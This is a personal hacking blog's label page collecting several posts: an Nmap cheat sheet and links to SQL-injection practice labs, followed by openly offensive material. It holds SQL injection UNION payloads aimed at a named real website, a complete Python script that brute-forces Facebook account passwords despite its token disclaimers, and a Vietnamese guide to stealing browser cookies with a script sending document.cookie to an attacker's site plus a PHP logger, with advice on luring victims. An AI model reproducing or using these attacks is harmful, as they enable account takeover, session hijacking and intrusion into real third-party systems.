Kevin Kien: hack

Showing posts with label hack. Show all posts

NMAP CHEAT SHEET

Nmap Target Selection
Scan a single IP   nmap 192.168.1.1
Scan a host   nmap www.testhostname.com
Scan a range of IPs   nmap 192.168.1.1-20
Scan a subnet   nmap 192.168.1.0/24
Scan targets from a text file   nmap -iL list-of-ips.txt

These are all default scans, which will scan 1000 TCP ports. Host discovery will take place.

Nmap Port Selection
Scan a single Port   nmap -p 22 192.168.1.1
Scan a range of ports   nmap -p 1-100 192.168.1.1
Scan 100 most common ports (Fast)   nmap -F 192.168.1.1
Scan all 65535 ports   nmap -p- 192.168.1.1

Nmap Port Scan types
Scan using TCP connect   nmap -sT 192.168.1.1
Scan using TCP SYN scan (default)   nmap -sS 192.168.1.1
Scan UDP ports   nmap -sU -p 123,161,162 192.168.1.1
Scan selected ports – ignore discovery   nmap -Pn -F 192.168.1.1

Privileged access is required to perform the default SYN scans. If privileges are insufficient a TCP connect scan will be used. A TCP connect requires a full TCP connection to be established and therefore is a slower scan. Ignoring discovery is often required as many firewalls or hosts will not respond to PING, so could be missed unless you select the -Pn parameter. Of course this can make scan times much longer as you could end up sending scan probes to hosts that are not there.

Service and OS Detection
Detect OS and Services   nmap -A 192.168.1.1
Standard service detection   nmap -sV 192.168.1.1
More aggressive Service Detection   nmap -sV –version-intensity 5 192.168.1.1
Lighter banner grabbing detection   nmap -sV –version-intensity 0 192.168.1.1

Service and OS detection rely on different methods to determine the operating system or service running on a particular port. The more aggressive service detection is often helpful if there are services running on unusual ports. On the other hand the lighter version of the service will be much faster as it does not really attempt to detect the service simply grabbing the banner of the open service.

Nmap Output Formats
Save default output to file   nmap -oN outputfile.txt 192.168.1.1
Save results as XML   nmap -oX outputfile.xml 192.168.1.1
Save results in a format for grep   nmap -oG outputfile.txt 192.168.1.1
Save in all formats   nmap -oA outputfile 192.168.1.1

The default format could also be saved to a file using a simple file redirect command > file. Using the -oN option allows the results to be saved but also can be monitored in the terminal as the scan is under way.

Digging deeper with NSE Scripts
Scan using default safe scripts   nmap -sV -sC 192.168.1.1
Get help for a script   nmap –script-help=ssl-heartbleed
Scan using a specific NSE script   nmap -sV -p 443 –script=ssl-heartbleed.nse 192.168.1.1
Scan with a set of scripts   nmap -sV –script=smb* 192.168.1.1

According to my Nmap install there are currently 471 NSE scripts. The scripts are able to perform a wide range of security related testing and discovery functions. If you are serious about your network scanning you really should take the time to get familiar with some of them.

The option –script-help=$scriptname will display help for the individual scripts. To get an easy list of the installed scripts try locate nse | grep script.

You will notice I have used the -sV service detection parameter. Generally most NSE scripts will be more effective and you will get better coverage by including service detection.

A scan to search for DDOS reflection UDP services
Scan for UDP DDOS reflectors nmap –sU –A –PN –n –pU:19,53,123,161 –script=ntp-monlist,dns-recursion,snmp-sysdescr 192.168.1.0/24

UDP based DDOS reflection attacks are a common problem that network defenders come up against. This is a handy Nmap command that will scan a target list for systems with open UDP services that allow these attacks to take place. Full details of the command and the background can be found on the Sans Institute Blog where it was first posted.

HTTP Service Information
Gather page titles from HTTP services   nmap –script=http-title 192.168.1.0/24
Get HTTP headers of web services   nmap –script=http-headers 192.168.1.0/24
Find web apps from known paths   nmap –script=http-enum 192.168.1.0/24

There are many HTTP information gathering scripts, here are a few that are simple but helpful when examining larger networks. Helps in quickly identifying what the HTTP service is that is running on the open port. Note the http-enum script is particularly noisy. It is similar to Nikto in that it will attempt to enumerate known paths of web applications and scripts. This will inevitably generated hundreds of 404 HTTP responses in the web server error and access logs.

Detect Heartbleed SSL Vulnerability
Heartbleed Testing nmap -sV -p 443 –script=ssl-heartbleed 192.168.1.0/24

Heartbleed detection is one of the available SSL scripts. It will detect the presence of the well known Heartbleed vulnerability in SSL services. Specify alternative ports to test SSL on mail and other protocols (Requires Nmap 6.46).

IP Address information
Find Information about IP address nmap –script=asn-query,whois,ip-geolocation-maxmind 192.168.1.0/24

Gather information related to the IP address and netblock owner of the IP address. Uses ASN, whois and geoip location lookups. See the IP Tools for more information and similar online queries.

Test ceh certifications

http://skillset.com/certifications/ceh

By Passing Illegal mix of collations for operation ‘UNION’

That error cames up,when the char is not set as default.

Example :

http://www.elansystems.co.za/product-item.php?product_items_id=-13+UNION+SELECT+1,2,3,4,5,6,7,8,group_concat(table_name),10,11,12,13,14,15+from+information_schema.tables+where+table_schema=database()–

We can bypass it with this syntax :

unhex(hex(group_concat(table_name)))

So our syntax will be look like this :

http://www.elansystems.co.za/product-item.php?product_items_id=-13+UNION+SELECT+1,2,3,4,5,6,7,8,unhex(hex(group_concat(table_name))),10,11,12,13,14,15+from+information_schema.tables+where+table_schema=database()–

It works. Tables cames up.

If don’t works you can try in this way too :

http://www.elansystems.co.za/product-item.php?product_items_id=-13+UNION+SELECT+1,2,3,4,5,6,7,8,convert(group_concat(table_name)+using+ascii),10,11,12,13,14,15+from+information_schema.tables+where+table_schema=database()–

Hacking-lab

Install:
** Download iso
http://repo.hacking-lab.com/

username hacker
password compass
root password = compass

** Download VMOVA or Virtual box OVA

http://media.hacking-lab.com/largefiles/livecd/v8.00/

Install hacking-lab vpn config

http://pastebin.com/tfA6kExH

Readme:

http://media.hacking-lab.com/largefiles/livecd/v8.00/readme.txt

SQLi LAP

Install-sqli-labs
http://www.youtube.com/watch?v=NJ9AA1_t1Ic
sqli-labs series part 2
http://www.youtube.com/watch?v=TA2h_kUqfhU
Sqli-labs series part 3
http://www.youtube.com/watch?v=N0zAChmZIZU
sqli-labs series part 4
http://www.youtube.com/watch?v=6pVxm5mWBVU
sqli-labs series part 5
http://www.youtube.com/watch?v=0tyerVP9R98
sqli-labs series part 6 (Double Query Injection)
http://www.youtube.com/watch?v=zaRlcPbfX4M
sqli-labs series part 7 (Double Query Injection continued.....)
http://www.youtube.com/watch?v=9utdAPxmvaI
sqli-labs series part 8 (Blind injections - Boolean based)
http://www.youtube.com/watch?v=u7Z7AIR6cMI
sqli-labs series part 9 (Blind injections - Time based)
http://www.youtube.com/watch?v=gzU1YBu_838
sqli-labs series part 10 (Dumping Database using outfile)
http://www.youtube.com/watch?v=ADW844OA6io
sqli-labs series part 11 (POST parameter injection -error based)
http://www.youtube.com/watch?v=6sQ23tqiTXY
sqli-labs series part 12 (POST parameter injection Double Query based)
http://www.youtube.com/watch?v=tjFXWQY4LuA
sqli-labs series part 13 (POST parameter injection BLIND boolean and time based)
http://www.youtube.com/watch?v=411G-4nH5jE
sqli-labs series part 14 (POST parameter injection in UPDATE query)
http://www.youtube.com/watch?v=2FgLcPuU7Vw
sqli-labs series part 15 (injection in INSERT QUERY)
http://www.youtube.com/watch?v=ZJiPsWxXYZs
sqli-labs series part 16 (cookie based injections)
http://www.youtube.com/watch?v=-A3vVqfP8pA
sqli-labs series part 17 (second order injections)
http://www.youtube.com/watch?v=e9pbC5BxiAE
sqli-labs series part 18 (bypassing blacklist filters part 1)
http://www.youtube.com/watch?v=5P-knuYoDdw
sqli-labs series part 19 (bypassing blacklist filters part 2)
http://www.youtube.com/watch?v=45BjuQFt55Y
sqli-labs series part 20 (bypassing blacklist filters part 3)
http://www.youtube.com/watch?v=c-Pjb_zLpH0
sqli-labs series part 21 (bypassing WAF -setting up TOMCAT)
http://www.youtube.com/watch?v=uRDuCXFpHXc
sqli-labs series part 22 (bypassing waf - Impedance Mismatch)
http://www.youtube.com/watch?v=ygVUebdv_Ws
sqli-labs series part 23 (bypassing addslashes - charset Mismatch)
http://www.youtube.com/watch?v=du-jkS6-sbo

code brute facebook

#!usr/bin/python

#This program is for educational purposes only.

#Don't attack people facebook accounts it's illegal !

#If you want to crack into someone's account, you must have the permission of the user.

#Mauritania Attacker & Reza Rafati are not responsible.

import sys

import random

import mechanize

import cookielib

GHT = '''

+=======================================+

|..........Facebook Cracker v 1.........|

+---------------------------------------+

| Author : Mauritania Attacker |

| : Reza Rafati |

| Contact: Cyberwarzone.com/contact |

| This tool is made for pentesting. |

| Do not use this tool on any account |

| Without permission of the account |

| holder. |

| We take no responsibilities for the |

| use of this program |

+---------------------------------------+

'''

print "Warning - do not use this tool without the permission of the Facebook account holder"

print "Hit CTRL+C to quit the program"

print "Warning #2 - do not use this tool without the permission of the Facebook account holder"

email = str(raw_input("Enter the Facebook email account you want to crack : "))

passwordlist = str(raw_input("Enter the name of the password list file : "))

useragents = [('User-agent', 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008071615 Fedora/3.0.1-1.fc9 Firefox/3.0.1')]

login = 'https://www.facebook.com/login.php?login_attempt=1'

def attack(password):

try:

sys.stdout.write("\r[*] trying %s.. " % password)

sys.stdout.flush()

br.addheaders = [('User-agent', random.choice(useragents))]

site = br.open(login)

br.select_form(nr=0)

##Facebook

br.form['email'] =email

br.form['pass'] = password

br.submit()

log = br.geturl()

if log != login:

print "\n\n\n[*] Password found .. !!"

print "\n[*] Password : %s\n" % (password)

sys.exit(1)

except KeyboardInterrupt:

print "\n[*] Exiting program .. "

sys.exit(1)

def search():

global password

for password in passwords:

attack(password.replace("\n",""))

def check():

global br

global passwords

try:

br = mechanize.Browser()

cj = cookielib.LWPCookieJar()

br.set_handle_robots(False)

br.set_handle_equiv(True)

br.set_handle_referer(True)

br.set_handle_redirect(True)

br.set_cookiejar(cj)

br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1)

except KeyboardInterrupt:

print "\n[*] Exiting program ..\n"

sys.exit(1)

try:

list = open(passwordlist, "r")

passwords = list.readlines()

k = 0

while k < len(passwords):

passwords[k] = passwords[k].strip()

k += 1

except IOError:

print "\n[*] Error: check your password list path \n"

sys.exit(1)

except KeyboardInterrupt:

print "\n[*] Exiting program ..\n"

sys.exit(1)

try:

print GHT

print "[*] Email to crack : %s" % (email)

print "[*] Loaded :" , len(passwords), "passwords"

print "[*] Cracking, please wait ..."

except KeyboardInterrupt:

print "\n[*] Exiting program ..\n"

sys.exit(1)

try:

search()

attack(password)

except KeyboardInterrupt:

print "\n[*] Exiting program ..\n"

sys.exit(1)

if __name__ == '__main__':

check()

Tạo một Cookieloger lấy trộm Cookie

Cách này để cho mọi người đánh lừa một nạn nhân dễ tin nào đó.Nhằm lấy cookie để đăng nhập ngoài sự cho phép của họ.
(Cũng là 1 cách xem như là để hack facebook,yahoo, ...Huynhdegroup.net )

Đầu tiên mở notepad cho vào đoạn code sau rồi lưu với 1 tên bất kì.Giả sử là Hotgirl.gif

PHP Code:

<script>location.href='http://www.yoursite.com/cookielogger.php?cookie='+escape(document.cookie)</SCRIPT>

Tiếp tục copy đoạn code sau cho vào notepad và lưu lại với tên cookielogger.php:

PHP Code:

     $filename = “logfile.txt”;
    if (isset($_GET["cookie"]))
    {
    if (!$handle = fopen($filename, ‘a’))
    {
    echo “Temporary Server Error,Sorry for the inconvenience.”;
    exit;
    }
    else
    {
    if (fwrite($handle, “rn” . $_GET["cookie"]) === FALSE)
    {
    echo “Temporary Server Error,Sorry for the inconvenience.”;
    exit;
    }
    }
    echo “Temporary Server Error,Sorry for the inconvenience.”;
    fclose($handle);
    exit;
    }
    echo “Temporary Server Error,Sorry for the inconvenience.”;
    exit;
    ?>

Tạo thêm 1 file là logfile.txt rồi vất cả 3 file lên host.Chmod lại file logfile.txt 777 để có quyền ghi lên nó.

PHP Code:

    cookielogger.php -> http://www.yoursite.com/cookielogger.php
    logfile.txt -> http://www.yoursite.com/logfile.txt (chmod 777)
   Hotgirl.giff -> http://www.yoursite.com/Hotgirl.gif

Rồi đi tìm victim dụ thôi.Ví dụ như chèn đoạn code này vào chữ kí ở forum chẳng hạn.Ngồi chờ tên nào rãnh kích vào và thịt thôi

PHP Code:

<a href="www.yoursite.com/Hotgirl.gif"><img style="cursor: pointer; width: 116px; height: 116px;" src="www.yoursite.com/Hotgirl.gif" /></a>

hoặc BBCODE

[url=http://www.yoursite.com/fun.gif][img]http://yoursite.com/fun.jpg[/ img][/ url]

Hack pass đã lưu trên trình duyệt

Với 3 bước đơn giản có thể lấy pass

Bước 1:

Bước 2:

Bước 3

Cách này áp dụng với toàn bộ pass trên các trình duyệt. Big Grin

NMAP CHEAT SHEET

Test ceh certifications

By Passing Illegal mix of collations for operation ‘UNION’

Hacking-lab

SQLi LAP

code brute facebook

Tạo một Cookieloger lấy trộm Cookie

Hack pass đã lưu trên trình duyệt

Blog Archive

Labels